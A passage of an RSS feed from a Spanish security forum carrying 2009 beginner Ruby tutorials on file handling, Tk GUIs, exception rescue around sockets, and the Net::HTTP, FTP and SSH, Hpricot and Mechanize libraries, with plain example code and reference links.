file=File.new('nombre del archivo', 'modo') #Donde modo puede ser por ejemplo 'r' (lectura) o 'w' (escritura), entre otros.</pre><br />Bueno, esto ya nos suena: como siempre lo primero que hacemos es crear el objeto de la clase que nos ocupa ( en este caso estamos con la clase File. Ahora ya lo tenemos creado y asociado a una variable, veamos los métodos que le podemos pasar:<br /><br />Nota: Atención porque le voy a pasar los métodos a la variable que contiene el objeto File, por eso es file ( con f minuscula).<br />Si quisieramos pasar el metodo directamente a la clase seria así:<br /><pre class="bbcode">File.metodo('archivo') #Sin hacer el File.new() tambien podemos pasar metodos. Pero yo prefiero siempre crear el objeto</pre>
Hay algunos metodos que se los podemos pasar a la variable file, y otros que son de la clase File. No me he equivocado con las mayusculas y minusculas, es importante diferenciarlos.<br /><br /><pre class="bbcode">file.atime #Devuelve la fecha de la última vez que se accedió a ese archivo 
file.ctime # Devuelve la fecha de la última vez que se cambió ese archivo. 
file.mtime #Devuelve la fecha de modificación 
file.chmod(modo, archivo/s) #Cambia el modo del/los archivo/s que pongamos. No hace falta decir que necesitamos root... 
file.chown(owner, grupo) #Cambia el owner y el grupo del file. 
File.compare(archivo1, archivo2) #Devuelve true si los archivos son identicos. Como veis este metodo es uno de los que hay 
#que pasarle directamente a la clase File. Por eso pongo File en mayusculas 
File.copy(archivo1, archivo2) #Copia el archivo1 a archivo2 ( se le puede dar una nueva ruta). Otro a pasarle a File 
file.delete #Eliminamos el archivo. 
file.unlink #Hace lo mismo 
file.dirname #Devuelve el directorio del archivo 
file.executable? #Devuelve true si el archivo es un ejecutable válido. el ? en los metodos tiene esa función: devuelve true 
#o false en relación a lo que sea. Por ejemplo : .directory? deuvelve true si es un directorio, etc... 
File.exist?('nombrearchivo') #Devuelve true si el archivo existe. Como veis aqui utilizo File con mayuscula porque llamo a la 
#clase File. Si hubiese puesto file, al hacer referencia al objeto que habiamos creado, siempre existiria... 
file.extname #Devuelve el nombre de la extensión. 
File.makedirs(directorio) #Crea en directorio con sus subdirectorios si hay. 
File.move(desde, hacia) # Este creo que tambien se lo podriamos pasar a file. es cuestion de probar. 
File.rename('antiguo nombre', 'nuevo nombre') #Renombra un archivo, este tambien funciona con file, creo. 
file.size # Adivinad que hace xD, devuelve el tamaño del archivo 
file.readable? #Devuelve true si se puede leer 
file.writable? #Devuelve true si se puede escribir.</pre><br />Aquí dejo este capitulo, que ya veis que es más corto pero tiene bastante información útil: con esto ya podreis manejar con bastante eficiencia cualquier archivo. Si esto se os queda atrás hay otras librerias para esto como pueden ser 'launchy', o FileUtils, sólo es cuestion de buscar información. A mi con esto me ha servido de momento :).<br /><br />salu2!]]></description>
<dc:creator>protos</dc:creator>
<category>Documentación Ruby</category><pubDate>Sun, 12 Jul 2009 16:17:16 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?52,3282,3282#msg-3282</guid>
<title>[8] TK: creando GUI [8] (no replies)</title><link>https://foro.undersecurity.net/read.php?52,3282,3282#msg-3282</link><description><![CDATA[Bueno, voy a explicar una manera de crear aplicaciones gráficas en Ruby. Hay otras librerias, yo aprendí esta y me gustó, si no os gusta no os quedará otra que buscar información sobre otra libreria y estaré encantado de que lo posteeis ;). La libreria Tk nos resuelve a la perfección el problema de las aplicaciones gráficas por el momento.<br /><br />Vamos allá!:<br /><pre class="bbcode"> 
require 'tk' #Requerimos la libreria tk. 

root=TkRoot.new() { title &quot;Prueba de App Gráfica&quot;} # Creamos el objeto principal, seria como crear la pantalla. Con título</pre><br />Vale, ya tenemos lo que seria la pantalla donde irán los botones, entradas de texto etc creada. Ahora debemos meterle esos 'objetos' a la pantalla. Esos 'objetos' se llaman widgets. Y los tenemos que crear asociados a root.<br />Algunos widgets son:<br /><br /><u>Botón:</u><br /><pre class="bbcode">bot=TkButton.new(root) { 
text &quot;Texto dentro del botón&quot; 
pack(&quot;side=&gt;'top') 
}</pre>
Creamos un botón asociado a root, con el texto que queramos y empaquetado en la parte de arriba de la pantalla.<br />Nota: En vez de top podemos poner buttom (abajo) o right y left. Además podemos ponerle otra opción al pack: el fill<br />que puede adquirir &quot;fill&quot;=&gt;&quot;x&quot; o &quot;fill&quot;=&gt;&quot;y&quot;. Que quiere decir rellenar en vertical o horizontal. Luego veremos que más hacer con ellos<br />Pero los botones sirven para hacer algo, no tiene sentido que los pulsemos y no pase nada. Se hace así:<br /><pre class="bbcode">	TkButton.new(root) { 
	text &quot; Clear&quot; 
	command proc { 
	label.clear 
	} 
	pack(&quot;side&quot;=&gt;&quot;bottom&quot;) 
	}</pre>
Como veis, se utiliza la opcion command proc y lo que queramos hacer dentro del bloque {}<br /><u>Entrada de texto:</u><br /><pre class="bbcode">entrada=TkEntry.new(root) { 
pack( padx 20 ; pady 20; side 'top' ) 
} 
#Creamos una entrada de texto.Lo empaquetamos con algunas medidas: 20px para el eje de las x y otros 20 verticales. 
entrada.insert(0, &quot;texto en la entrada&quot;) #Y luego le escribimos algo</pre><br />Nota: como vemos aquí le podemos pasar los atributos a los widgets dentro del bloque como hemos hecho con el text. O como si fueran metodos: como hemos hecho con el insert.<br /><u><br />Etiquetas:</u><br />Es texto en la pantalla que no se puede modificar:<br /><pre class="bbcode"> 
label=TkLabel.new(root) { 
text &quot;texto de la etiqueta&quot; 
} 
label.pack(lo mismo de antes...) #Como veis en este caso el pack lo he puesto como un metodo para variar</pre><br /><br /><u>TextBoxs:</u><br />Son cajas de texto que les podemos dar el tamaño que queramos, y posteriormente insertarle el texto que queramos:<br /><pre class="bbcode"> 
caja = TkText.new(root) { width 25; height 2 }.pack(&quot;side&quot;=&gt;&quot;bottom&quot;)</pre><br />Creamos un textbox con una altura de 2 y una anchura de 25. Como veis el pack aqui se lo he pasado por metodo directamente ( estoy intentando probar todas las maneras para que vayais viendo la flexibilidad de Ruby)<br /><br />Ahora le escribimos algo al textbox:<br /><br /><pre class="bbcode">caja.insert('end', &quot;Texto a insertar&quot;) #Así de sencillo</pre>
<u><br />Mensajes:</u><br />Son como labels de varias linias<br /><pre class="bbcode">TkMessage.new(root) { text &quot;texto que quieras&quot; }.pack(&quot;side&quot;=&gt;&quot;bottom&quot;)</pre><br /><u>Imagen:</u><br />Podemos poner una foto en la pantalla. El procedimiento es el siguiente, ya que no la podemos poner en un solo widget, necesitamos de un label para ponerla:<br /><pre class="bbcode">image = TkPhotoImage.new('file'=&gt;&quot;foto.gif&quot;, 'height'=&gt;25) 
label_foto = TkLabel.new(root) { image image }.pack(&quot;anchor&quot;=&gt;&quot;e&quot;)</pre><u><br />Menus:</u><br />Son algo más complicados que los anteriores widgets:<br /><pre class="bbcode">menu = TkMenu.new() #creamos el objeto menu 
pri = TkMenu.new(menu) #Creamos un par de huecos para  menus 
sec = TkMenu.new(menu) 
menu.add('cascade', 'menu'=&gt;pri, 'label'=&gt;&quot;Archivo&quot;) #Le ponemos un menu en cascada al primer hueco, de nombre Archivo 
pri.add('command', 'label'=&gt;&quot;Quit&quot;, 'command'=&gt;proc { root.destroy })# Añadimos una opción a la cascada del hueco pri 
#La opción se llama 'Quit', y lo que hará es lo que hay en la opción 'command'. En este caso destruir root, cerrando la #pantalla. 
menu.add('cascade', 'menu'=&gt;sec, 'label'=&gt;'Editar') #Creamos otro menu en cascada para el segundo hueco, nombre Editar 
sec.add('command', 'label'=&gt;&quot;1&quot;, 'command'=&gt;proc { ... }) #Añadimos la opcion 1 a la cascada sec ( si, es tarde, me #queda poca imaginación, no he puesto el proc, y el nombre de la label es deprimente, y que xD 
sec.add('command', 'label'=&gt;&quot;2&quot;, 'command'=&gt;proc {...} #Podriamos seguir añadiendo hasta que queramos. 

root.menu(menu)#Añadimos los menús al root 
Tk.mainloop(root)#Imprescindible, ahora explico porqué</pre><br />Siempre que hagamos una aplicación con Tk, al final del code es obligatorio poner esta linia:<br /><pre class="bbcode">Tk.mainloop(root)</pre>
Lo que hace es crear un bucle de root, es decir de la pantalla principal, para que no se cierre sola.<br /><br /><u>Asociando variables a los valores de widgets.</u><br />Podemos coger lo que haya introducido el user en un text Entry por ejemplo y pasarlo a una variable. Es sencillo:<br /><br /><pre class="bbcode">var1=TkVariable.new() #Creamos la variable Tk 

TkEntry.new(root) { #Creamos una entrada de datos 
textvariable(var1) #Lo que introduzca el user se almacenará en la variable var1 
pack() #empaquetamos y cerramos bloque de widget 
} 

print var1.value #Fijaos, hay que poner el .value siempre para acceder a la variable...</pre><br /><u>Asociando eventos a nuestros widgets:</u><br />Ya sabemos por ejemplo como hacer para que al clickar un botón pase lo que nosotros queramos. Pero tenemos otra manera, que podremos utilizar para cualquier widget, y no solo cuando cliquen, alomejor cuando entren en un text box con el raton, o cuando salgan, etc...<br />Lo haremos con el método .bind:<br /><pre class="bbcode"> 
widget.bind(&quot;FocusIn&quot;) { #cuando el ratón entre en el widget 
bloque, proceso que queramos, imaginación! #Hacemos lo que hayamos puesto en el bloque 
}</pre><br />Los modificadores del bind ( en este caso he usado el FocusIn ) soN:<br /><blockquote class="bbcode"><div><small>Quote<br/></small><strong></strong><br/>
Any Shift Control Alt Meta, M<br />Mod1, M1 Mod2, M2 Mod3, M3 Mod4, M4 Mod5, M5<br />Button1, B1 Button2, B2 Button3, B3 Button4, B4 Button5, B5 Double Triple</div></blockquote><br />y<br /><br /><blockquote class="bbcode"><div><small>Quote<br/></small><strong></strong><br/>Activate Enter KeyPress, Key ButtonPress, Button FocusIn Map<br />Deactivate Leave KeyRelease ButtonRelease FocusOut Unmap<br />Circulate Colormap Configure Destroy Expose<br />Gravity Motion Property Reparent Visibility</div></blockquote><br /><u>Dandole fuente a nuestros textos:</u><br />Tal vez no querramos darle simpre el mismo formato a todos nuestros textos. No hay problema, tk nos soluciona también eso!:<br />Para ellos utilizamos el método .font.<br /><br /><pre class="bbcode">text=TkText.new().pack() #Creamos un textbox, me da vagueza ahora hacerlo mejor, asi ya basta 
text.font(&quot;aahs&quot;) #Le ponemos la font &quot;aahs&quot; al texto de text.</pre>
Nota: para ver las fonts que se pueden utilizar:<br /><pre class="bbcode">TkFont.families()</pre>
Ahi os las mando yo ;)<br /><blockquote class="bbcode"><div><small>Quote<br/></small><strong></strong><br/>irb(main):004:0&gt; TkFont.families()<br />=&gt; [&quot;mgopenmoderna&quot;, &quot;aahs&quot;, &quot;clearlyu devangari extra&quot;, &quot;fs&quot;, &quot;freemono&quot;, &quot;tlwgtypist&quot;, &quot;clearlyu arabic&quot;, &quot;anjalioldlipi&quot;, &quot;purisa&quot;, &quot;garuda&quot;, &quot;mgopenmodata&quot;, &quot;lohit gujarati&quot;, &quot;clearlyu arabic extra&quot;, &quot;fixed&quot;, &quot;lucidatypewriter&quot;, &quot;courier 10 pitch&quot;, &quot;mukti&quot;, &quot;open look glyph&quot;, &quot;lohit hindi&quot;, &quot;bitstream charter&quot;, &quot;clearlyu pua&quot;, &quot;utkal&quot;, &quot;shmookh&quot;, &quot;mgopencanonica&quot;, &quot;malotf&quot;, &quot;clean&quot;, &quot;terminal&quot;, &quot;gothic&quot;, &quot;new century schoolbook&quot;, &quot;bitstream vera sans mono&quot;, &quot;clearlyu alternate glyphs&quot;, &quot;kasr&quot;, &quot;loma&quot;, &quot;lucidabright&quot;, &quot;bitstream vera serif&quot;, &quot;muktinarrow&quot;, &quot;freeserif&quot;, &quot;song ti&quot;, &quot;dejavu sans&quot;, &quot;open look cursor&quot;, &quot;helvetica&quot;, &quot;mincho&quot;, &quot;tlwgmono&quot;, &quot;gentium&quot;, &quot;clearlyu&quot;, &quot;courier&quot;, &quot;lucida&quot;, &quot;clearlyu devanagari&quot;, &quot;nil&quot;, &quot;mcs&quot;, &quot;mgopencosmetica&quot;, &quot;fangsong ti&quot;, &quot;lohit punjabi&quot;, &quot;charter&quot;, &quot;aga&quot;, &quot;vemana2000&quot;, &quot;gentiumalt&quot;, &quot;times&quot;, &quot;norasi&quot;, &quot;newspaper&quot;, &quot;dejavu sans mono&quot;, &quot;rachana&quot;, &quot;clearlyu ligature&quot;, &quot;lohit tamil&quot;, &quot;freesans&quot;, &quot;dejavu serif&quot;, &quot;dotum&quot;, &quot;batang&quot;, &quot;tlwgtypewriter&quot;, &quot;symbol&quot;, &quot;bitstream vera sans&quot;, &quot;malige&quot;]</div></blockquote><br />Y podemos incluso configurar nosotros las fonts:<br /><pre class="bbcode">font = TkFont.new('courier') #Cogemos la font courier de base 
font.configure('size'=&gt;36)  # le augmentamos el tamaño a 36 
text.font(font) #Le pasamos nuestra font modificada a nuestro textbox.</pre><br />Y bueeno, aquí voy a dejar este capitulo. Pero aquí no acaba Tk, nos faltan por ver cosas como las scrollbars, algunas cosas mas de menus etc. El que quiera aprender más aquí van mis habituales referencias:<br /><a href="http://pickaxe.ruby.org.es/ext_tk.html" target="_blank" rel="nofollow" >Documentación Tk (español)</a><br /><a href="http://members.chello.nl/~k.vangelder/ruby/learntk/hello.html" target="_blank" rel="nofollow" >Documentación tk (inglés)</a><br />Bueno, decir que el segundo está en inglés pero realmente merece mucho la pena leerlo, está muy bien.<br /><br /><br />Aaaah, y no quiero volver a leer algo asi, ahora ya no:<br /><blockquote class="bbcode"><div><small>Quote<br/></small><strong></strong><br/>-Joooo las aplicaciones que 'programan' en VB molan mucho, tienen botoncitos y eso, y en cambio lo nuestro solo vale por pantalla...<br /><br />-VB mola un monton, puedes hacer unos programas muy bonitos y buenos con él...</div></blockquote><br />salu2!]]></description>
<dc:creator>protos</dc:creator>
<category>Documentación Ruby</category><pubDate>Sun, 12 Jul 2009 16:16:52 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?52,3139,3139#msg-3139</guid>
<title>[7] Rescatando errores [7] (no replies)</title><link>https://foro.undersecurity.net/read.php?52,3139,3139#msg-3139</link><description><![CDATA[En otros capitulos ya hemos visto que en Ruby cuando surge un error el script se termina con las consecuencias que ello traiga.<br />Por esto es muy imporante saber administrar los errores: en este capitulo veremos como rescatar los errores que le puedan surgir a nuestro code y prepararemos nuestro script para actuar en esas situaciones ^^.<br /><br />Para rescatar errores tenemos que crear un bloque (begin - end ) donde se localizarán los errores, y dentro de ese bloque rescatar ( rescue ) los errores que queramos.<br /><br />Veamos algún ejemplo:<br /><br /><pre class="bbcode">require 'socket' 
begin 
sock=TCPSocket.new('156.67.43.33', 67) 
rescue 
print &quot;Se ha producido un error\n&quot; 
else 
print &quot;Conexión establecida 
end</pre><br />Explicación del code:<br />Primero requerimos la libreria socket. Y establecemos una conexion por el puerto 67 a esa IP ( lo siento por el dueño de esa Ip, me la he inventado...). Que pasaria si el host no existiera o el puerto estuviera cerrado? El interprete daria error.<br />Por eso justo despues viene un rescue. Este captura cualquier error que pueda dar la linia anterior y si se produce un error imprimirá &quot;Se ha producido un error&quot;. Si no hay error, imprimirá &quot;Conexión establecida&quot;.<br /><br />Pero en este caso estariamos rescatando todos los errores, no solo el de conexión. En ruby cada error tiene un nombre especifico, y para capturar un error especifico solo hace falta ponerle el nombre al lado del rescue:<br /><br /><pre class="bbcode">require 'socket' 
begin 
sock=TCPSocket.new('156.67.43.33', 67) 
rescue Errno::ECONNREFUSED 
print &quot;El socket no se pudo conectar, host invalido o puerto cerrado\n&quot; 
else 
print &quot;Conexión establecida 
end</pre><br />En este caso el code hace lo mismo pero solo rescataremos el error de conexión, así podemos especificar al usuario el error exacto que hemos tenido.<br /><br />Tal como hemos puesto un rescue podemos poner todos los que queramos:<br /><br /><pre class="bbcode">require 'socket' 
begin 
sock=TCPSocket.new('156.67.43.33', 67) 
rescue Errno::ECONNREFUSED 
print &quot;El socket no se pudo conectar, host invalido o puerto cerrado\n&quot; 
rescue nombreerror2 
print &quot;No se pudo conectar por culpa de...&quot; 
rescue nombreerror5 
print &quot;No se pudo conectar por la causa tal...&quot; 
rescue nombreerror4 
print &quot;No se pudo conectar porque...&quot; 
else 
print &quot;Conexión establecida 
end</pre><br />Asi podemos especificar errores, y si no se da ninguno de esos pues el else se encarga de continuar.<br /><br />Otra cosa a tener en cuenta es el ensure. A veces queremos que el script haga algo si o si. Haya habido un error o no<br />Como hemos visto el rescue lanza algo si hay error y el else lanza algo si no hay error. El ensure hace lo que digamos haya error o no haya error.<br />Ejemplo:<br /><pre class="bbcode">require 'socket' 
begin 
sock=TCPSocket.new('156.67.43.33', 67) 
rescue Errno::ECONNREFUSED 
print &quot;El socket no se pudo conectar, host invalido o puerto cerrado\n&quot; 
rescue nombreerror2 
print &quot;No se pudo conectar por culpa de...&quot; 
rescue nombreerror5 
print &quot;No se pudo conectar por la causa tal...&quot; 
rescue nombreerror4 
print &quot;No se pudo conectar porque...&quot; 
else 
print &quot;Conexión establecida 
ensure 
sock.close() 
end</pre><br />Como vemos el ensure va detrás del else. Y en este caso lo que hacemos es cerrar la conexión, si o si.<br /><br />Y bueno, aquí termino este capitulo. Sé que es algo más corto pero también es importante. Hay más cosas relacionadas con los errores, como el raise, pero con esto ya nos podemos ir apañando decentemente :). El raise por ejemplo lo que hace es lanzar el un error, para hacer pruebas o para controlar los errores tambien va bien, lo dejo de tarea para buscar (no tiene ninguna complicación).<br /><br />Como ya es habitual aquí tenemos alguna referencia para leer:<br /><a href="http://pickaxe.ruby.org.es/tut_exceptions.html" target="_blank" rel="nofollow" >Documentación de las excepciones</a><br /><br /><br />salu2!!]]></description>
<dc:creator>protos</dc:creator>
<category>Documentación Ruby</category><pubDate>Sat, 04 Jul 2009 10:03:47 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?52,3137,3137#msg-3137</guid>
<title>[6] Librerías net (http, ssh, ftp, hpricot, mechanize) [6] (1 reply)</title><link>https://foro.undersecurity.net/read.php?52,3137,3137#msg-3137</link><description><![CDATA[En el capitulo anterior hemos visto como hacer conexiones a bajo nivel utilizando sockets. Saber eso es imprescindible, es la base de las conexiones. Pero Ruby nos ofrece un conjunto de librerias de más alto nivel que harán por nosotros el trabajo más rápido ( en menos code ) y tal vez de manera más eficiente. Hoy vamos a hablar de las librerias NET de Ruby:<br /><br />Explicaré un poco por encima las Librerias NET encargadas de los protocolos HTTP, FTP y SSH. Y un poco de un par de librerias que me parecen bastante utiles: hpricot y mechanize.<br /><br /><b><u><span style="font-size:10pt"><span style="font-size:10pt">NET::HTTP</span></span></u></b><br />Esta libreria nos valdrá para enviar y recibir peticiones y respuestas del protocolo HTTP ( puerto 80) de una manera más automatizada que con sockets.<br /><br /><pre class="bbcode">require 'net/http' #Lo primero de todo es requerir la libreria 
http= HTTP.start(host) #Creamos un objeto http al host que queramos</pre><br />Vale, y ahora ya tenemos creado el objeto HTTP a través de él es donde haremos todo lo que queramos, pasandole métodos.<br />Veamos algunos:<br /><br /><pre class="bbcode">http.send_request(metodo, path) #Envia la peticion metodo ( GET, POST, HEAD etc) en el path que queramos. 
http.get(path) #Enviamos la peticion get al path seleccionado. Para ver el contenido de la petición tendriamos que acceder 
                       #al body (ej: get=http.get('/index.html') print get.body 
http.get_print(host, path) #Lo mismo que antes pero en una sola linia. Recibe el body de la respuesta 
http.get_response(host, path) #Recibe el response de la respuesta GET. 
Net::HTTP.new(host, puerto) #Hace lo mismo que el start, pero sin abrir la conexion tcp. Podemos pasar a traves de proxy: 
Net::HTTP.new(host, puerto, direccionproxy, puertoproxy, proxyuser, proxypass) #El unico obligatorio a poner es el host. 
http.copy(path) #Envia una peticion COPY al path seleccionado 
http.delete(path) #Lo mismo pero DELETE 
http.head(path) #Petición HEAD 
http.trace(path) #Metodo TRACE 
http.options(path) #Mas de lo mismo, metodo OPTIONS 
http.request(metodo) { |respuesta| } #Envia la peticion (request) que queramos (metodo que le damos) y almacena los #resultados en un bloque</pre><br />Utilizar libreria Net::HTTP como proxy:<br /><pre class="bbcode">proxy=Net::HTTP::Proxy(direcciondelproxy, puertodelproxy) #Creamos un objeto HTTP pasando detras de un proxy 
proxy.start(host) #Hacemos un start con el host que queramos ya detrás de nuestro proxy ^^</pre><br /><u><b><span style="font-size:10pt"><span style="font-size:10pt">NET/FTP</span></span></b></u><br />Lo mismo que antes, pero para el protocolo FTP.<br /><br /><pre class="bbcode">require 'net/ftp' #Cargamos la libreria... 
ses=Net::FTP.new(host) #Establecemos un objeto de la clase FTP con la conexión al host.</pre><br />Para establecer conexion algo más especializado:<br /><pre class="bbcode">ses=Net::FTP.new(host, user, pass) #La mayoria de host ftp piden user y pass. Hacemos directamente el login. 
ses.Net::FTP.open(host, user, pass) {|ftp|} #Lo mismo que antes pero además nos devuelve un bloque. (Solo el host es 
#Imprescindible)</pre><br />Esto es lo básico, ya tenemos el objeto principal creado, vamos a ver que metodos le podemos pasar :P.<br /><pre class="bbcode"> 
ses.chdir(directorio) #Cambiamos de directorio 
ses.connect(host, puerto) #Conectamos con el host, si no ponemos el puerto, será el default FTP. 
ses.delete(file) #Borra el archivo que queramos ( teniendo permisos, claro está) 
ses.get(file) #Pedimos el archivo remoto especificado. 
ses.dir #Es como el comando list 
ses.getdir #Es como el comando pwd 
ses.login(user, pass) #A veces es necesatio loggearse, con esto establecemos el login. 
ses.system() #Devuelve información del sistema 
ses.voidcmd(comando) #Envia un el comando especificado 
ses.sendcmd(comando) #Envia el comando y además devuelve la respuesta. 
ses.rmdir(directorio) #Elimina el directorio especificado 
ses.rename(antiguonombre, nuevonombre) # Renombra un fichero remoto 
ses.putfile(file) #Sube nuestro file local que queramos 
ses.mkdir(directorio) #Crea un directorio remoto 
ses.close() #Se terminó la conexión.</pre><br /><br /><u><b><span style="font-size:10pt"><span style="font-size:10pt">NET/SSH</span></span></b></u><br />De este no explicaré tanto, el que no conozca el protocolo ssh que lo busque xD, es sencillo: establecemos conexiones ssh.<br /><pre class="bbcode"> 
require 'net/ssh' #Seguro que adivinais que hace 
sesion=Net::SSH.start(host, user, pass) # Lo mismo de siempre, crear el objeto principal con la conexion.</pre><br />Ahora, para mantener la conexion, y enviar comandos o lo que sea, creamos un bloque con la conexion:<br /><pre class="bbcode">sesion=Net::SSH.start(host, user, pass) {|ssh| 
shell=ssh.shell.sync # Sincronizamos la shell ^^( el ssh es la variable que nos devuelve el bloque con la conexion) 
shell.send_comand(comando) # Enviamos el comando que queramos. 
shell.exit #Terminamos la shell 
}</pre><br />Y la parte de ssh la dejo aquí. No hay mucha documentación sobre estas librerias en ruby, incluso diria que en español debe ser de lo único, aunque no sea muy extenso, no se encuentra nada mucho mucho mejor. Encontré algunos ejemplos más complejos en inglés, pero eran medio retorcidos y incluían POO, cosa que veremos más adelante ^^.<br /><br />En este ejemplo, y en los anteriores he utilizado los bloques :<br />{|variable do |variable\<br />bloque o bloque<br />} end<br /><br />No recuerdo si ya los había explicado o no, creo que si, al explicar el each, si no queda muy claro preguntar, se usan bastante en ruby y son muy útiles.<br /><br />Y para terminar este capitulo vamos a ver un par o tres librerías más que nos pueden ser útiles:<br /><br /><u><b>Hpricot </b></u><br />Sirve para parsear paginas web, veamos algunos ejemplos y experimentar vosotros mismos.<br /><pre class="bbcode"> 
require 'rubygems' #Para utilizar hpricot necesitamos incluir tambien rubygems 
require 'open-uri' #Necesitamos tambien esta libreria... 
require 'hpricot' #Ahora si 

web=Hpricot(open('www.ejemplo.com')) #Creamos el objeto con la web parseada</pre><br />Y ahora que tenemos el objeto, como siempre, ( es genial que en ruby todo sea POO!!) jugamos con los métodos:<br /><pre class="bbcode"> 
web.search('loquesea') #Buscará en el resultado del objeto ( get de la pagina ) todo lo que tenga coincidencia con loquesea 
web.at('loquesea') #Buscará la primera coincidencia con loquesea.</pre>
Y así podemos escanear una web en bsuca de lo que queramos (texto plano...:( ) buscando coincidencias, podemos buscar por ejemplo el titulo de la pagina:<br /><pre class="bbcode">print web.at('title')</pre>
Un problema es que al recoger la respuesta de la pagina, recogemos tambien las etiquetas html, y es incomodo leer con todas esas etiquetas html, para ello tenemos estos dos metodos: .innet_html y .to_html<br /><pre class="bbcode">web.at('title').inner_html # Buscamos el titulo de la pagina y le quitamos las etiquetas de titulo para leer solo el contenido 
web.at('loquesea').to_html #Justo lo contrario, buscamos lo que sea con su respectiva etiqueta html en la web.</pre>
<b><u><br />Libreria Mechanize</u></b><br />Otra libreria para trabajar en la web :). En este caso podremos incluso interactuar con los formularios html !<br />(En este mismo foro he colgado un code de un bruteforces a cualquier login usando esta librera ;)<br /><pre class="bbcode">require 'rubygems' # Para esta liberia necesitamos rubygems tambien 
require 'mechanize' # Incluimos la liberia que nos interesa. 
 
agent = WWW::Mechanize.new #Como siempre, creamos el objeto al que le pasaremos los metodos.</pre><br />Veamos que puede hacer por nosotros mechanize:<br /><br /><pre class="bbcode">agent.get('www.ejemplo.com') #Mandamos un GET a donde queramos... 
agent=agent.set_proxy('direccionproxy', puertodelprocy) # Establecemos la conexión mediante proxy nos vendrá bien...</pre><br />Mmm pero esto no es nada nuevo, esto ya lo podiamos hacer antes, que nos da de bueno esta libreria?? pRotos, enseña algo útil anda xD.<br />Pues ahí va: podemos interaccionar con los formularios automáticamente!!<br /><pre class="bbcode"> 
formulario=agent.form('nombre del formulario html') # Primero buscamos el nombre del formulario con el que queramos #interactuar 
formulario=agent.forms.first #Si sabemos que el formulario es el primero del code html pues podemos ponerlo asi 
formulario.User='user' #Rellenamos el campo user con lo que queramos 
formulario.Pass='pass' #Rellenamos el campo pass con lo que queramos 
#En cada web, los fomurlarios de login, tienen campos de user y pass, el caso seria mirar en el codigo fuente como se #Llama el formulario, como se llaman los campos que nos interesan y... 
acc= agent.submit formulario #'pulsamos el botón submit', es decir, enviamos los datos del formulario a la web.</pre><br />Esto a mi en particular me parece bastante interesante...Pero aquí no se queda mechanize :O, qué más podemos hacer?<br /><br /><pre class="bbcode">agent = WWW::Mechanize.new 
agent.user_agent_alias = 'navegador' #Cambiamos el header user-agent, que es el de nuestro navegador. Alguien ha dicho 
#inyección por headers HTTP??? xDD 
search_form = page.forms.with.name(&quot;f&quot;) #Buscamos los formularios los nombres de los cuales sean f 
search_form = page.forms.with.name(&quot;f&quot;).first #Buscamos solo el primer formulario que se llame f 
search_results = agent.submit(search_form) #Otra manera de hacer lo que haciamos antes: Ya hemos escrito en nuestro 
#formulario y con esta linia lo enviamos 
puts search_results.body #Recibimos la respuesta de la pagina a nuestro submit 
link = page.links.text(/Log In/) #Buscamos los links de la pagina que contengan la cadena 'Log in' 
page = agent.click(link) #Los clickamos. Alguien ha dicho bot??? xD 
agent.back() #Equivale a darle al botón atrás en el navegador 
agent.cookies() #Devuelve las cookies almacenadas 
agent.get_file(urldelafile) #Devuelve el contenido del archivo especificado 
get(url, referer='loquesea') #Puedes establecer el referer</pre><br />Unas cositas mas...<br /><br /><pre class="bbcode">cookies=WWW::Mechanize::CookieJar.new() #Creamos un objeto que nos servirá para trabajar con cookies 
cookies.add(uri, cookie) #Añadimos una cookie. 
cookies.clear!() #Borramos todas las cookies 
cookies.cookies(url) #Muestra las cookies que tenemos de esa web 
cookies.load(archivo, format=) #Guardamos las cookies en el archivo que queramos con el formato adecuado</pre><br /><br />Tiene muchas otras cosas pero creo que he escrito bastante ya.<br />Bueno, y aquí dejo esta libreria, ya veis que da para muucho. En los anexos de este capitulo dejaré como siempre algunas URL's, entre ellas algo de mechanize, ejemplos practicos etc.<br /><br /><u>Resolv</u><br />Bueno, esta libreria no es la gran cosa. La pongo más que nada como interés, ya que puede ser útil para algunas cosas, pero realmente tiene pocas utilidades:<br /><pre class="bbcode"> 
require 'resolv' 
ip =Resolv.getaddress(host) #En este caso host seria un nombre de dominio y nos devolveri su IP 
host = Resolv.getname(ip) #En este caso le damos la IP y nos devuelve el nombre de dominio..</pre><br /><br />Y bueno, creo que no está muy mal este capitulo, si se lee bien se han aprendido varias cosas muy interesantes.<br />Ahora lo más importante es que pongais en práctica lo nuevo que habeis aprendido para practicar, que no se olvide y experimentar por uno mismo. Los que codeen algo que lo posteen (Arriba el FreeSource) y lo analizamos aquí ;).<br /><br />Como siempre algo de bibliografia, donde seguro explican las cosas mejor que yo, pero bueeeno...<br /><a href="http://www.jaimeiniesta.com/2007/08/14/apuntes-sobre-hpricot-y-web-spidering/" target="_blank" rel="nofollow" >Apuntes sobre hpricot</a><br /><a href="http://schf.uc.org/articles/2007/02/14/scraping-gmail-with-mechanize-and-hpricot" target="_blank" rel="nofollow" >Ejemplo de mechanize</a><br /><a href="http://blade.nagaokaut.ac.jp/cgi-bin/scat.rb/ruby/ruby-talk/243892" target="_blank" rel="nofollow" >Ejemplo de net/ssh</a><br /><a href="http://www.ruby-doc.org/stdlib/libdoc/net/http/rdoc/classes/Net/HTTP.html" target="_blank" rel="nofollow" >Documentación de Net/http</a><br /><a href="http://www.ruby-doc.org/stdlib/libdoc/net/ftp/rdoc/classes/Net/FTP.html" target="_blank" rel="nofollow" >Documentación de Net/ftp</a><br /><a href="http://code.whytheluckystiff.net/hpricot/wiki/WikiStart" target="_blank" rel="nofollow" >Documentación hpricot</a><br /><a href="http://errtheblog.com/posts/6-parse-xml-with-hpricot" target="_blank" rel="nofollow" >Ejemplo hpricot</a><br /><a href="http://mechanize.rubyforge.org/mechanize/" target="_blank" rel="nofollow" >Documentación mechanize</a><br /><a href="http://mechanize.rubyforge.org/mechanize/files/EXAMPLES_txt.html" target="_blank" rel="nofollow" >Ejemplos mechanize</a><br /><br />Por fin acabéee xD, bueno, espero que por lo menos esto le guste o le ayude a alguien xD.<br /><br />salu2!]]></description>
<dc:creator>protos</dc:creator>
<category>Documentación Ruby</category><pubDate>Sat, 04 Jul 2009 15:03:45 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?52,3112,3112#msg-3112</guid>
